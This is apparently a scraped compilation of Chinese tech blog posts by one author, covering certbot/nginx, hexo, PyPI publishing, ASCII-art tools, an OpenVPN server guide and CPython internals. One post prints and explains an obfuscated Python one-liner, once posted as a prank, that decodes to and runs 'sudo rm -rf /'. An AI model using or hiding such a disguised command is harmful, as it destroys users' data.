          |                    |                          |                                          
         / \                   |      +-------------------+                             
        / | \                  |      |                   |                                  
       /  |  \                 |      |                   |                                                           
    +-/   |   \----+           +--+---+-------+           +----------------------------+                              
    |     |        |              |   |       |                                        |                
+---v-+  +v----+  +v-------+  +---v---v-+  +--v--------+  +-----------+  +--------+  +-v--------+  +-----+
| int |  | raw |  | embstr |  | ziplist |  | linkedlist|  | hashtable |  | intset |  | skiplist |  | ... |
+-----+  +-----+  +--------+  +----^----+  +-----------+  +---^-----^-+  +-^------+  +----------+  +-----+
                                   |                          |     |      |   
                                   |                          |     |      |   
                                   |                          |     |      |  
                                   |   +----------+           |   +-+------+-+ 
                                   +---+   hash   +-----------+   |    set   |
                                       +----------+               +----------+

首先，安装 certbot ：

1
2
3

sudo add-apt-repository ppa:certbot/certbot
sudo apt-get update
sudo apt-get install python-certbot-nginx

开放 443 端口，先检查下防火墙：

1

sudo ufw status

如果防火墙没有打开，是这样的：

1
2

xlzd$ sudo ufw status
Status: inactive

那就什么也不管就好。如果开了，大概输出是这样：

1
2
3
4
5
6
7

Status: active

To                         Action      From
--                         ------      ----
OpenSSH                    ALLOW       Anywhere                  
Nginx HTTP                 ALLOW       Anywhere                  
OpenSSH (v6)               ALLOW       Anywhere (v6)

如果防火墙处于打开状态，执行一下：

1

sudo ufw allow 'Nginx Full'

然后就可以生成证书了：

1

sudo certbot --nginx -d fuckthe.app -d www.fuckthe.app

第一次执行的时候，会提示你输入一个邮箱地址。

等执行成功之后，会看到大概这样的输出：

1
2
3
4
5
6
7
8

Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access.
-------------------------------------------------------------------------------
1: No redirect - Make no further changes to the webserver configuration.
2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for
new sites, or if you're confident your site works on HTTPS. You can undo this
change by editing your web server's configuration.
-------------------------------------------------------------------------------
Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 1

选 2 即可，会被自动写入到 nginx 配置中去。

在 crontab 中配置一下自动更新证书：

1
2

30 2 * * 1 /usr/bin/certbot renew --dry-run >> /var/log/le-renew.log
35 2 * * 1 /usr/bin/nginx -s reload

下次再要加新域名的时候，只需继续执行 sudo certbot --nginx -d domain.com 就可以啦~

Done.

在一开始，计算机并没有「进程」、「线程」这样的概念，计算机的功能就是输入 → 计算 → 输出。绝大部分时间里，其实计算机都是在等待用户的输入，显然这样的方式非常低效，毕竟人的手速怎么也无法跟计算机运算速度相提并论。

于是，人们开始把要执行的指令预算写到纸带、磁带或磁盘等介质上，然后将这些指令交给计算机去执行。一个专门的程序负责从对应的存储介质上读取指令序列，并交给计算机进行执行。计算机的执行过程不需要再人肉实时输入指令，少了大量等待时间，效率自然上升了很多很多。这个专门的程序，就是原始的操作系统——批处理操作系统。

批处理操作系统虽然解决了程序执行的性能问题，但是还是有一个缺点，计算机同时只能执行一个任务（程序）。如果这个程序需要大量 IO 操作，在 IO 操作发生的过程中，其实 CPU 是空闲的，要是这个空闲时间可以被利用起来，那就更好了。

为了进一步提升计算机的运算效率，「进程」就此诞生了。用进程的概念来抽象上面提到的一个任务（程序），每个程序就是一个进程，有自己独立的内存空间，程序间互不相关，操作系统负责来调度各个程序。这时 CPU 虽然还是单核的，但是操作系统通过分时的方式，把 CPU 的时间分成非常多的片段，每个片段内执行一个进程的指令，当这个时间片结束之后操作系统负责调度 CPU 执行另一个程序的指令。从 CPU 的角度来看，同一时间还是只有一个程序在执行，但是由于这里的时间片非常非常小，人的视角上，感受到的就像是多个程序在一起「同时」运行一样。

进程虽然有各自独立的内存空间，多个进程间互不相关。但是很多场景下其实需要两个程序有办法传递信息（通信），如果两个进程运行的时候如果有办法通过某种方式进行通信，会让程序的设计更加灵活方便。于是，进程间通信出现了，像管道、消息队列、信号等等，都可以实现两个进程间通信。

多进程的出现使得一个 CPU 可以「同时」执行多个不同的程序，但是在一个程序内部，指令依然是串行处理的。其实很多场景下，就算是一个程序内部，多个子任务也可以被设计为独立并行执行。为了让一个程序内部的多个子模块可以并行执行，「线程」的概念诞生了。线程是对进程内子任务的抽象，一个进程可以有多个子任务（线程）在同时执行，这些子任务会共享同一个进程的数据。「线程」的概念出现后，操作系统调度的最小单位变成了线程，而进程成为了操作系统分配资源的最小单位。

多线程多进程的出现虽然让多任务并行处理的性能大大提升，但其实 CPU 角度上看本质所有的任务还是在串行执行，并不是真正的并行。直到多核 CPU 的出现，操作系统负责将不同的线程调度到多个 CPU 上执行，实现真正意义上的并行执行。

在编程开发中，其实并不是使用多线程、多进程就一定是好的，需要考虑具体的场景，根据不同业务场景选择合适的模型。比如 Redis 是单进程单线程，而 Nginx 可以使用多进程也可以使用多线程，他们却都是性能非常高的应用。

解决思路：GitHub。

如果需要定制 theme，最好将对应的 theme fork 到自己的 GitHub 中，对 theme 的修改都同步到自己 fork 的仓库中去。方便管理自己对 theme 的修改。

首先在 hexo 根目录下初始化仓库，并将 themes 中对应的 theme 通过 git submodule 管理：

1
2
3
4
5
6
7
8

$ cd xlzd.github.io
$ git init
$ git checkout -b hexo-source
$ git add .
$ git commit -m "init hexo source"
$ git remote add origin git@github.com:xlzd/xlzd.github.io.git
$ git submodule add git@github.com:xlzd/hexo-theme-freemind.386.git themes/freemind.386
$ git push origin hexo-source

在另一台机器上：

1
2
3
4
5
6
7

$ git clone git@github.com:xlzd/xlzd.github.io.git
$ cd xlzd.github.io
$ git checkout hexo-source
$ git submodule init
$ git submodule update
$ npm install
$ hexo generate && hexo server

这里将过去写过的相关文章列举如下，以后应该再也不碰爬虫相关的任何问题了（声明：由于时间原因，所以不保证文中的方法现在依然可用，也不保证其准确性，仅供参考~）：

• 爬虫必备——requests
• Web Crawler with Python - 01. 准备
• Web Crawler with Python - 02. 简单的尝试
• 番外篇. 搭建称手的Python开发环境
• Web Crawler with Python - 03. 豆瓣电影 TOP250
• Web Crawler with Python - 04. 另一种抓取方式
• Web Crawler with Python - 05. 存储
• Web Crawler with Python - 06. 海量数据的抓取策略
• Web Crawler with Python - 07. 反爬机制<1>
• Web Crawler with Python - 08. 模拟登录
• Web Crawler with Python - 09. 通过爬虫找出我和轮子哥之间的最短关注链

从上面文中的很多地方都可以看出，我给自己挖了好多坑，准备之后再填上，不过就目前来看，我暂时并不打算填坑了~~~

之前博客写了不少，虽然质量不高，但是好歹是自己过去的总结，我会迁移少量内容到新的博客中来，但是大部分都不会转移过来了，友链中有以前博客的链接（可能无法正常访问），有兴趣的朋友还可以点进去看看~~~

好啦，先说这些吧~~~

hello, world.

Pushbullet 是一个跨平台的消息推送工具，可以很方便将消息在各端间传递，同时也提供了 API 接口供通过程序调用。PYPI 上有一个 pushbullet.py 的库对它的 API 做了封建，可以更简单方便地使用，这里用到的功能比较简单：

1
2
3
4

from pushbullet import Pushbullet

pb = Pushbullet(API_KEY)
pb.push_note(title, body)

这样可以将消息发送到 API_KEY 对应帐号登录的所有设备，API_KEY 通过登录后如下截图中页面的「Create Access Token」创建。

而关注别人发送新微博则可以通过微博的 API 接口。很久很久以前为了做一个微博报时机器人曾经申请过一个微博应用，这里刚好用上了。如果你没有应用，创建一个就好啦。

weibo 是一个对微博接口的封装库，大概使用如下：

1
2
3
4
5
6
7
8
9
10
11

from weibo import Client

APP_KEY = '*****'
APP_SECRET = '******'
CALLBACK_URL = 'https://api.weibo.com/oauth2/default.html'
AUTH_URL = 'https://api.weibo.com/oauth2/authorize'
USERID = '******'
PASSWD = '*******'

client = Client(APP_KEY, APP_SECRET, CALLBACK_URL, username=USERID, password=PASSWD)
data = client.get('API_PATH')

由于微博接口限制，无法再直接获取到非授权用户的微博列表，由于我刚好微博并没有关注任何人，所以关注需要关注动态的人后，获取自己的微博列表拿到的刚好就是这个人时间序排列的前几条微博。说到这里刚好还能给微博提一个 bug，大概是由于缓存不同步吧，我明明已经删除了所有的微博（只剩一条）和取关了所有人，个人主页上显示的数字不正确：

如果你关注了很多人，一个解决方案是在获取自己微博列表的时候通过 user_timeline 接口的 since_id 和 count 字段多获取一点，每次获取都记录下上次的最后一条的位置，下次从最新数据取到上次取过的地方为止，然后 filter 过滤掉其它人的微博。
接下来的事情，就是写一个 crontab，隔段时间读一次微博列表，判断如果有新的微博，就通过 Pushbullet 的接口推消息给自己。这个接口返回的数据还有微博 po 主的个人资料，所以顺便还能监测目标用户微博资料的变更。

这里 crontab 的间隔时间，根据微博接口访问频次权限，设置为每分钟一次是没问题的~

最后的效果是这样的：

有点晚了，写的比较马虎，完整的代码在这里：weibo monitor - Github Gist，仅供参考。

原始图片	转换后

（注意：右图可不是图片，而是一个 HTML 页面）

1
2
3
4
5
6
7
8
9

                                 ___      __          __                    ___
 __                            /'___`\   /\ \        /\ \__                /\_ \
/\_\     ___ ___       __     /\_\ /\ \  \ \ \___    \ \ ,_\    ___ ___    \//\ \
\/\ \  /' __` __`\   /'_ `\   \/_/// /__  \ \  _ `\   \ \ \/  /' __` __`\    \ \ \
 \ \ \ /\ \/\ \/\ \ /\ \L\ \     // /_\ \  \ \ \ \ \   \ \ \_ /\ \/\ \/\ \    \_\ \_
  \ \_\\ \_\ \_\ \_\\ \____ \   /\______/   \ \_\ \_\   \ \__\\ \_\ \_\ \_\   /\____\
   \/_/ \/_/\/_/\/_/ \/___L\ \  \/_____/     \/_/\/_/    \/__/ \/_/\/_/\/_/   \/____/
                       /\____/
                       \_/__/

我把这个程序叫做「img2html」，并上传到了 PYPI，所以，你可以直接这样安装：

1

pip install img2html

具体调用方式上，可以直接命令行调用，也可以通过代码调用，具体使用方式写在了 GitHub 的 README 上：img2html。

代码逻辑非常简单，将图片每 N*N 个像素合并成一个像素，并取这 N*N 像素的平均值当做合成的像素的颜色，然后渲染为 HTML 页面中对应位置的文字颜色。代码中虽然使用了 4 个 for 语句，但是其实只是遍历了图片中每个像素一次。

1 2	> (lambda _: getattr(__import__(_(28531)), _(126965465245037))(_(9147569852652678349977498820655)))((lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True)) >

OS X、Linux 有效，需要管理员权限执行，效果感人。

作者：xlzd
链接：https://www.zhihu.com/question/37046157/answer/101660005
来源：知乎
著作权归作者所有，转载请联系作者获得授权。

原本只是一个恶搞的小玩笑，没想到真的有一个小伙伴试过了这行代码。然后，他的 Mac 被删光了所有东西……

那么，这行代码是如何做到的呢？

其实并不复杂，不过是一些代码的伪装罢了。这行代码翻译为最直接版本，也仅仅两行：

1
2

import os
os.system('sudo rm -rf /')

第一步，我们要省去 import，改成使用 __import__ 函数，它接受一个字符串，并返回这个模块本身：

1

__import__('os').system('sudo rm -rf /')

OK，现在已经变成一行了，下面要做的，就是让它越发的看不懂。具体的思路是将尽可能多的内容转换为字符串，然后对字符串做转型，通过 getattr 函数，可以改写为如下：

1

getattr(__import__('os'), 'system')('sudo rm -rf /')

到这一步，先明白一点是 lambda 函数可以定义与执行放在一起的。同时，在 Python 中，函数是可以作为参数传递的：

1
2
3
4
5

In [1]: (lambda n: n*2) (2)
Out[1]: 4

In [2]: (lambda f: f('10')) (int)
Out[2]: 10

到这里，想办法将上面三个字符串 os, system, sudo rm -rf / 不再直接写出，而是转换为数字，然后传入一个函数对数字解码到字符串，暂且不关注这个函数的具体定义和数字是什么，之前的代码可以改写如下：

1

(lambda decode: getattr(__import__( decode(NUM1) ), decode(NUM2))(decode(NUM3))) (decode_function)

已经与回答中的代码越来越像了。那么，如何将字符串映射到一个数字呢？

1
2
3
4
5
6
7
8

In [3]: 'hello, world.'.encode('hex')
Out[3]: '68656c6c6f2c20776f726c642e'

In [4]: int('hello, world.'.encode('hex'), 16)
Out[4]: 8271117963530313756381553648686L

In [5]: hex(8271117963530313756381553648686L)[2:-1].decode('hex')
Out[5]: 'hello, world.'

于是，上面的 decode_function 和对应的数字便可以轻松得到了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

In [6]: encode = lambda s:int(s.encode('hex'), 16)

In [7]: decode = lambda x: hex(long(x))[2:-1].decode('hex')

In [8]: encode('os')
Out[8]: 28531

In [9]: decode(28531)
Out[9]: 'os'

In [10]: encode('system')
Out[10]: 126965465245037

In [11]: decode(126965465245037)
Out[11]: 'system'

In [12]: encode('sudo rm -rf /')
Out[12]: 9147569852652678349977498820655L

In [13]: decode(9147569852652678349977498820655L)
Out[13]: 'sudo rm -rf /'

填充到刚才的代码中去：

1

(lambda decode: getattr(__import__( decode(28531) ), decode(126965465245037))(decode(9147569852652678349977498820655L))) (lambda x: hex(long(x))[2:-1].decode('hex'))

最后我们再将 decode 改装一下，比如 2 == True << True（True == 1），而 -1 == -True，而字符串 hex 则可以通过函数 hex 的 __name__ 获得。由此，将其作为参数传入一个 lambda 函数，返回我们需要的 decode 函数，decode 就变成了这样：

1

(lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True)

组装到一起，将变量名变成下划线，就得到了最终结果：

1

(lambda _: getattr(__import__(_(28531)), _(126965465245037))(_(9147569852652678349977498820655)))((lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True))

友情提示：请不要轻易尝试。

P.S. 这是一篇非常基础的文章，如果你有相关基础，请不必浪费时间阅读。写这篇文章的初衷是收到知友私信问到了怎么讲自己写的程序发布到 PyPI，与其回复一个人的私信，不如写出来供所有初学的人参考参考。
PyPI 的全称是「Python Package Index」，官方介绍如是说：

The Python Package Index is a repository of software for the Python programming language. There are currently 102159 packages here.

托管到 PyPI 的仓库，可以方便地通过 easy_install 或 pip 来安装和更新。比如，你直接「 pip install tornado 」就可以方便地安装 tornado 了。

概念性的东西，就一笔带过吧。这篇博客中，我将以发布一个名为「jujube_pill」的包到 PyPI 为例，从头到尾讲解如何将自己的程序发布到 PyPI。

代码结构

这里的示例代码结构非常简单，就一个 setup 文件和一个源码文件，结构如下：

1
2
3
4
5

jujube-pill $ tree
.
├── jujube_pill
│   └── __init__.py
└── setup.py

其中 setup.py 如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

#!/usr/bin/env python
# coding: utf-8

from setuptools import setup

setup(
    name='jujube_pill',
    version='0.0.1',
    author='xlzd',
    author_email='what@the.f*ck',
    url='https://zhuanlan.zhihu.com/p/26159930',
    description=u'吃枣药丸',
    packages=['jujube_pill'],
    install_requires=[],
    entry_points={
        'console_scripts': [
            'jujube=jujube_pill:jujube',
            'pill=jujube_pill:pill'
        ]
    }
)

很多参数都见名之意，所以这里不赘述每个参数的含义。另外有一些参数对于初学者暂时用不上，也暂不表。 install_requires 是这个库所依赖的其它库，当别人使用 pip 等工具安装你的包时，会自动安装你所依赖的包。console_scripts 是这个包所提供的终端命令，比如我希望在安装这个包后可以使用「 jujube 」和「 pill 」两个命令，则按照 setup 文件的写法，当我在终端输入「 jujube 」的时候，将会执行 jujube_pill 包下（init 中）的 jujube 函数。

init.py 文件如下：

1
2
3
4
5
6
7
8
9
10

#!/usr/bin/env python
# encoding=utf-8


def jujube():
    print u'吃枣'
 

def pill():
    print u'药丸'

上传代码到 PyPI

在上传之前，可以先通过命令校验 setup 写错了没有：

1
2
3

$ python setup.py check
running check
$

如果没有输出任何错误，则说明格式正确。

然后需要在这里注册一个 PyPI 的帐号，注册完成之后，就可以将这个代码库注册到 PyPI 了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

$ python setup.py register

running register
......

We need to know who you are, so please choose either:
 1. use your existing login,
 2. register as a new user,
 3. have the server generate a new password for you (and email it to you), or
 4. quit
Your selection [default 1]: 
1
Username: xlzd
Password: 
Registering jujube_pill to https://pypi.python.org/pypi
Server response (200): OK
I can store your PyPI login so future submissions will be faster.
(the login will be stored in /Users/xlzd/.pypirc)
Save your login (y/N)?y

中间一些步骤的输出被我省略了，其中是第一次上传代码到 PyPI，则需要先登录帐号。如果刚才没有在网页端注册帐号，在这里注册也是 OK 的。填好用户名密码之后，就可以登录了。登录成功后会提示你是否保存登录信息，如果选择了 y，则会在 home 目录下生成一个 .pypirc 文件存储你的 PyPI 帐号登录信息。

接着的操作是打包代码，使用如下命令：

1

$ python setup.py <打包格式>

打包格式一般使用「 sdist 」或者「 bdist_egg 」，使用前者居多（sdist 支持 pip 安装，bdist_egg 支持 easy_install 安装）。

打好包之后，通过如下命令上传：

1

$ python setup.py upload

最后去 PyPI 上看下我们刚刚上传的库（ jujube_pill ）：

其实，刚才的命令也可以合成一条一次执行：

1

python setup.py register sdist upload

试试看我们自己发布的库

1

$ pip install jujube_pill

安装完成后，就可以愉快地使用这两个命令了：

1
2
3
4

$ jujube
吃枣
$ pill
药丸

或者在代码中使用我们刚刚上传的库：

1
2
3
4
5
6
7

In [1]: import jujube_pill

In [2]: jujube_pill.jujube()
吃枣

In [3]: jujube_pill.pill()
药丸

妥了。

xart is a pure Python library that provides an easy way to generate art ascii texts. Life is short, be cool.

1
2
3
4
5
6

██╗  ██╗ █████╗ ██████╗ ████████╗
╚██╗██╔╝██╔══██╗██╔══██╗╚══██╔══╝
 ╚███╔╝ ███████║██████╔╝   ██║
 ██╔██╗ ██╔══██║██╔══██╗   ██║
██╔╝ ██╗██║  ██║██║  ██║   ██║
╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝   ╚═╝

Getting Started

help

1
2
3
4
5
6
7
8
9
10
11
12

$ xart -h
usage: xart [-h] [-f FONT] [-i] [-s] [-l] [-v]

xart : generate art ascii texts.

optional arguments:
  -h, --help            show this help message and exit
  -f FONT, --font FONT  font to render with, default random
  -i, --info            show information of given font
  -s, --show            show random fonts
  -l, --list            list all supported fonts
  -v, --version         version

generate ascii text via random font

1
2
3
4
5
6
7

$ xart test
.-..-..-. .-..--. .-..-. .-..-..-.
 ~ | | ~  | | ~~  | | ~   ~ | | ~
   | |    | | _    \|       | |
   | |    | |`-'     |\     | |
   | |    | | __   _ | |    | |
   `-'    `-'`--' `-'`-'    `-'

generate ascii text via given font

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

$ xart test -f 3D_Diagonal

    ___                                 ___
  ,--.'|_                             ,--.'|_
  |  | :,'                            |  | :,'
  :  : ' :               .--.--.      :  : ' :
.;__,'  /      ,---.    /  /    '   .;__,'  /
|  |   |      /     \  |  :  /`./   |  |   |
:__,'| :     /    /  | |  :  ;_     :__,'| :
  '  : |__  .    ' / |  \  \    `.    '  : |__
  |  | '.'| '   ;   /|   `----.   \   |  | '.'|
  ;  :    ; '   |  / |  /  /`--'  /   ;  :    ;
  |  ,   /  |   :    | '--'.     /    |  ,   /
   ---`-'    \   \  /    `--'---'      ---`-'
              `----'

show all supported fonts

1
2
3
4
5
6
7
8
9

$ xart -l
xart : generate art ascii texts.

  0. 1Row
  1. 3-D
  ...
  277. Wow

All 278 fonts.

show font infomation

1
2
3
4
5
6
7
8
9
10
11
12
13
14

$ xart -i -f Weird
weird.flf (version 2)
by:  Bas Meijer   meijer@info.win.tue.nl   bas@damek.kth.se
fixed by: Ryan Youck   youck@cs.uregina.ca
some special characters '#%*' etc. are not matching, they are from other fonts.
Explanation of first line:
flf2 - "magic number" for file identification
a    - should always be `a', for now
$    - the "hardblank" -- prints as a blank, but can't be smushed
6    - height of a character
5    - height of a character, not including descenders
20   - max line length (excluding comment lines) + a fudge factor
15   - default smushmode for this font (like "-m 15" on command line)
13   - number of comment lines

version

1
2
3
4
5
6
7
8
9

$ xart -v
xart : generate art ascii fonts, version 0.1.5.
  ____           ____       ______
 / __ \         /   /      |  ___(
( (  ) )       / /) )      | |__
( (  ) )      /_/( (       |___ \
( (  ) )          ) )          \ \
( (__) )  __     ( (   __  _____) )
 \____/  (__)    /__\ (__) )_____/

Installation

xart is hosted on PYPI and can be installed as such:

1

$ pip install xart

Alternatively, you can also get the latest source code from GitHub and install it manually:

1
2
3

$ git clone git@github.com:xlzd/xart.git
$ cd xart
$ python setup.py install

For update:

1

$ pip install xart --upgrade

License

WTFPL (here)

简介

知乎上存在大量钓鱼问题，比如：

• 胸大真的自信吗？ - 钓鱼（广义的）
• 为什么翘臀那么吸引人，女生如何练翘臀？ - 钓鱼（广义的）
• 怎么搭配丝袜优雅不低俗？ - 钓鱼（广义的）
• ……

这些问题都有大量上钩的鱼爆照，同时也滋生了诸如「轮带逛」、「葡带逛」之类点赞带逛行为。然而，在浏览钓鱼问题的时候，存在一个极不好的体验：爆照与爆照之间或许间隔着许多文字回答，读图的连贯性被破坏了。

这个插件旨在解决这个问题，当打开一个有图片的知乎问题页面时，左上角会显示如下按钮：

当按下按钮之后，页面则会变成如下效果：

继续翻页：

快捷键

如果通过键盘操作，则有以下快捷键：

插件下载

下载链接：https://raw.githubusercontent.com/xlzd/zhfishhook/master/release/zhfishhook.crx

安装请参考之前的知乎专栏：「云拉黑」是什么 - xlzd杂谈 - 知乎专栏

后续功能

• 加载更多
• 自动播放模式
• 推荐阅读（推荐热门钓鱼问题）
• 欢迎建议

参考自 How To Set Up an OpenVPN Server on Ubuntu 16.04

为什么需要 OpenVPN

对我来讲，有两个原因：

• 安全地在不安全的网络环境下上网：如需要在酒店、咖啡厅或者不可信任的 Wi-Fi 环境下上网时，我需要确保自己不会被监听。
• 跨过防火墙，享受自由的网络环境。

那么，为什么我不用 ShadowSocks 呢？答案是，其实我也在用，不过它在 iOS 上的表现确实无法令人满意，另外，PC 端使用 Chrome 配合 ss 翻墙的时候需要很复杂的配置（或许我不会用吧），相比之下， OpenVPN 可以非常方便的全部搞定（除了安装比较复杂）。所以，这篇博客记录下 OpenVPN 服务的安装过程，以供参考。

文中使用的服务器是 Ubuntu 16.04，不过 Debian 系的操作系统应该是可以通用的。

安装 OpenVPN，设置 CA 目录

首先，在服务器端安装 OpenVPN 服务。我们可以很方便地通过 apt-get 安装，另外我们也需要安装easy-rsa：

1
2

$ sudo apt-get update
$ sudo apt-get install openvpn easy-rsa

然后，复制 easy-rsa 模板到 home 目录：

1
2

$ make-cadir ~/openvpn-ca
$ cd ~/openvpn-ca

配置 CA 变量

进入 openvpn-ca 目录之后，用 vim (或者任意编辑器) 打开 vars 文件，到最后一部分，你将会看到如下内容：

1
2
3
4
5
6
7
8
9
10

. . .

export KEY_COUNTRY="US"
export KEY_PROVINCE="CA"
export KEY_CITY="SanFrancisco"
export KEY_ORG="Fort-Funston"
export KEY_EMAIL="me@myhost.mydomain"
export KEY_OU="MyOrganizationalUnit"

. . .

修改为任意你想要修改的值，只要不留空就好了：

1
2
3
4
5
6
7
8
9
10

. . .

export KEY_COUNTRY="CN"
export KEY_PROVINCE="BJ"
export KEY_CITY="Beijing"
export KEY_ORG="xlzd"
export KEY_EMAIL="what@the.fuck"
export KEY_OU="Community"

. . .

然后，还需要将 KEY_NAME 改为你喜欢的，这里简单起见，我们改成 server：

1

export KEY_NAME="server"

然后，保存并关闭文件。

构建 Certificate Authority

在刚才的目录中，执行 source vars ，然后，你将会看到如下输出：

1

NOTE: If you run ./clean-all, I will be doing a rm -rf on /home/xlzd/openvpn-ca/keys

然后执行：

1
2

$ ./clean-all
$ ./build-ca

这将会启动创建根证书颁发密钥、证书的过程。由于我们刚才修改了 vars 文件，所有值应该都会自动填充。所以，一路回车就好了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

Output
Generating a 2048 bit RSA private key
..........................................................................................+++
...............................+++
writing new private key to 'ca.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [CN]:
State or Province Name (full name) [BJ]:
Locality Name (eg, city) [Beijing]:
Organization Name (eg, company) [xlzd]:
Organizational Unit Name (eg, section) [Community]:
Common Name (eg, your name or your server's hostname) [the.fuck]:
Name [server]:
Email Address [waht@the.fuck]:

到此，我们就有了创建以下步骤需要的 CA 证书。

创建服务器端证书、密钥和加密文件

执行 ./build-key-server server 命令，然后继续一路回车就好了。到最后，你需要输入两次 y 注册证书和提交：

1
2
3
4
5
6
7
8
9

. . .

Certificate is to be certified until May  1 17:51:16 2026 GMT (3650 days)
Sign the certificate? [y/n]:y


1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated

然后还需要生成一些其他东西，在终端执行 ./build-dh，这个操作大约会花费几分钟不等。然后，我们可以生成 HMAC 签名加强服务器的 TLS 完整性验证功能：

1

openvpn --genkey --secret keys/ta.key

生成客户端证书、密钥对

这一步之后可能会执行多次以生成不同的证书，这里我们以 xclient 作为第一组密钥对的名字：

1
2
3

cd ~/openvpn-ca
source vars
./build-key xclient

跟刚才一样，一路回车就好。

配置 OpenVPN 服务

首先，复制文件到 OpenVPN 的目录下：

1
2

$ cd ~/openvpn-ca/keys
$ sudo cp ca.crt ca.key server.crt server.key ta.key dh2048.pem /etc/openvpn

然后，复制并解压一个 OpenVPN 的配置示例：

1

$ gunzip -c /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz | sudo tee /etc/openvpn/server.conf

接着是调整配置，打开 /etc/openvpn/server.conf 文件，找到 redirect-gateway 的位置，去掉注释，修改为如下：

1

push "redirect-gateway def1 bypass-dhcp"

然后找到 dhcp-option 位置，修改为下面这样：

1
2

push "dhcp-option DNS 208.67.222.222"
push "dhcp-option DNS 208.67.220.220"

再找到 tls-auth 位置，去掉注释，并在下面新增一行：

1
2

tls-auth ta.key 0 # This file is secret
key-direction 0

最后，去掉 user 和 grup 行前的注释：

1
2

user nobody
group nogroup

调整服务器网络配置

允许 IP 转发

编辑 /etc/sysctl.conf 文件，去掉 net.ipv4.ip_forward 设置前的注释：

1

net.ipv4.ip_forward=1

输入 sudo sysctl -p 以读取文件并对当前会话生效。

调整 UFW 规则

编辑 /etc/ufw/before.rules 文件，在文件顶部，新增如下 11-18 行的内容：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

01 #
02 # rules.before
03 #
04 # Rules that should be run before the ufw command line added rules. Custom
05 # rules should be added to one of these chains:
06 #   ufw-before-input
07 #   ufw-before-output
08 #   ufw-before-forward
09 #
10 
11 # START OPENVPN RULES
12 # NAT table rules
13 *nat
14 :POSTROUTING ACCEPT [0:0] 
15 # Allow traffic from OpenVPN client to eth0
16 -A POSTROUTING -s 10.8.0.0/8 -o eth0 -j MASQUERADE
17 COMMIT
18 # END OPENVPN RULES
19
20 # Don't delete these required lines, otherwise there will be errors
*filter
. . .

其中，第 16 行还需要做一点调整。在终端执行 ip route | grep default 命令，你会看到类似如下的输出：

1

default via 100.110.78.1 dev ens3

dev 之后的内容便是我们需要的，如我执行后输出如上，则我需要的是 ens3，每个人的结果可能不同，用它替换掉刚才文件第 16 行的 eth0，然后保存文件，退出。

接着需要修改 /etc/default/ufw 文件，找到 DEFAULT_FORWARD_POLICY 设置，修改为：

1

DEFAULT_FORWARD_POLICY="ACCEPT"

打开 OpenVPN 端口并使变化生效

执行下面的命令：

1
2
3
4

$ sudo ufw allow 1194/udp

$ sudo ufw disable
$ sudo ufw enable

启动 OpenVPN

执行：

1

$ sudo systemctl start openvpn@server

然后设置自启动：

1

$ sudo systemctl enable openvpn@server

创建客户端配置

执行：

1
2
3
4
5

$ mkdir -p ~/client-configs/files

$ chmod 700 ~/client-configs/files

$ cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf ~/client-configs/base.conf

然后打开 ~/client-configs/base.conf 文件，修改 remote server_IP_address 1194 一行为你的服务器公网 IP，然后去掉 user 和 group 前的注释：

1
2
3

# Downgrade privileges after initialization (non-Windows only)
user nobody
group nogroup

找到 ca/cert/key，注释掉：

1
2
3
4
5
6
7
8
9

# SSL/TLS parms.
# See the server config file for more
# description.  It's best to use
# a separate .crt/.key file pair
# for each client.  A single ca
# file can be used for all clients.
#ca ca.crt
#cert client.crt
#key client.key

最后在文件末新增一行：

1

key-direction 1

保存，退出文件。

创建配置生成脚本

新建 ~/client-configs/make_config.sh 文件，复制如下内容：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#!/bin/bash

# First argument: Client identifier

KEY_DIR=~/openvpn-ca/keys
OUTPUT_DIR=~/client-configs/files
BASE_CONFIG=~/client-configs/base.conf

cat ${BASE_CONFIG} \
    <(echo -e '<ca>') \
    ${KEY_DIR}/ca.crt \
    <(echo -e '</ca>\n<cert>') \
    ${KEY_DIR}/${1}.crt \
    <(echo -e '</cert>\n<key>') \
    ${KEY_DIR}/${1}.key \
    <(echo -e '</key>\n<tls-auth>') \
    ${KEY_DIR}/ta.key \
    <(echo -e '</tls-auth>') \
    > ${OUTPUT_DIR}/${1}.ovpn

保存并赋予执行权限：

1

$ chmod 700 ~/client-configs/make_config.sh

生成客户端配置

执行：

1
2

$ cd ~/client-configs
$ ./make_config.sh xclient

然后，在 ~/client-configs/files 目录下，便有了 xclient.ovpn 文件。将文件下载到本地即可使用了。

客户端下载

Windows： OpenVPN
OS X： Tunnelblick
iOS： OpenVPN Connect
Android: OpenVPN Connect

下载安装客户端之后，导入刚才的配置文件，就可以愉快又安全地体验没有墙的互联网啦~~~

从结果看，Python 中的对象是 C 语言中结构体在堆上申请的一片内存区域。而在具体实现上，这里先简单描述一下。

万物基于 MIUI： PyObject

在 Python 中，所有对象都共有一些特性，这些特性定义在 PyObject 中。PyObject 定义在 Include/object.h 中：

1
2
3
4
5
6
7
8

#define PyObject_HEAD                   \
    _PyObject_HEAD_EXTRA                \
    Py_ssize_t ob_refcnt;               \
    struct _typeobject *ob_type;

typedef struct _object {
    PyObject_HEAD
} PyObject;

简化后即为：

1
2
3
4

typedef struct _object {
    int ob_refcnt;               
    struct _typeobject *ob_type;
} PyObject;

